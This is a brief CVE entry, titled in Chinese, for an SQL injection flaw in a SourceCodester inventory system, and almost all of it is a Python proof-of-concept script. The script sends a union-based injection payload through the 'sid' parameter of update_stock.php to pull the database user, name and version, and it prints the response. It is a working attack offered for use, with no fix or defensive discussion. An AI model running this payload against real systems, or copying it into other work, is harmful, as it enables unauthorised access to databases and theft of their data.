CVE-2026-4826 SourceCodester库存系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://example.com/update_stock.php" # Malicious payload for SQL Injection # Example: Attempting to bypass logic or extract data via Union Based payload = { "sid": "1' UNION SELECT 1, user(), database(), version()-- -" } try: response = requests.get(target_url, params=payload) if response.status_code == 200: print("PoC executed successfully.") print("Response:") print(response.text[:500]) # Truncate output for readability except Exception as e: print(f"An error occurred: {e}")